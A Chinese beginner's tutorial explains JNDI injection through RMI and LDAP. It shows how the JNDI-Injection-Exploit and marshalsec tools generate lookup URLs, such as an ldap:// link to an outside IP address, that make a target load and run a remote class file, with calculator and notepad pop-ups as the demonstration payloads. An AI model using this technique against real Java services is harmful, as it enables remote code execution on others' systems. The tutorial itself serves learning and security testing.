JNDI注入-RMI&LDAP服务(详细完整原理篇,小白也能看得懂)

目录

JNDI远程调用-JNDI-Injection

JNDI远程调用-marshalsec


JNDI远程调用-JNDI-Injection

JNDI是java系统自带的api,用于访问ldap,rmi...的api,ldap和rmi是JNDI内置接口,他们这些接口可以远程调用执行一些文件,文件中可以命令执行,如调用计算器

JNDI注入-RMI&LDAP服务(详细完整原理篇,小白也能看得懂)_第1张图片

使用jndi注入工具:JNDI-Injection-Exploit可以生成远程调用链接ldap://47.94.236.117:1389/nx5qkh,ldap://47.94.236.117:1389/nx5qkh:执行远程地址的一个class文件,功能:调用47.94.236.117的计算器

写一个class文件,创建一个rmi ldap等服务调用实例化对象,调用这个地址:ldap://47.94.236.117:1389/nx5qkhJNDI注入-RMI&LDAP服务(详细完整原理篇,小白也能看得懂)_第2张图片

47.94.236.117服务器产生回显:

弹出计算器:

JNDI注入-RMI&LDAP服务(详细完整原理篇,小白也能看得懂)_第3张图片

JNDI-Injection-Exploit-1.0-SNAPSHOT-all直接生成class文件,无需手动,ldap默认开放1389 端口,rmi默认开放1099端口


JNDI远程调用-marshalsec

编写一个Test.java用于执行notepad,编译成class文件

JNDI注入-RMI&LDAP服务(详细完整原理篇,小白也能看得懂)_第4张图片

上传到服务器

JNDI注入-RMI&LDAP服务(详细完整原理篇,小白也能看得懂)_第5张图片

访问默认下载

重新生成一个,用rmi协议请求Test,监听端口1099

http://0.0.0.0/#Test表示Test在网站目录的下载路径,0.0.0.0表示所有端口

调用rmi远程链接

JNDI注入-RMI&LDAP服务(详细完整原理篇,小白也能看得懂)_第6张图片

服务器弹出记事本

JNDI注入-RMI&LDAP服务(详细完整原理篇,小白也能看得懂)_第7张图片

marshalsec需要手动生成class文件

JNDI-Injection和marshalsec都可以生成rmi和ldap的远程调用地址

你可能感兴趣的:(服务器,运维)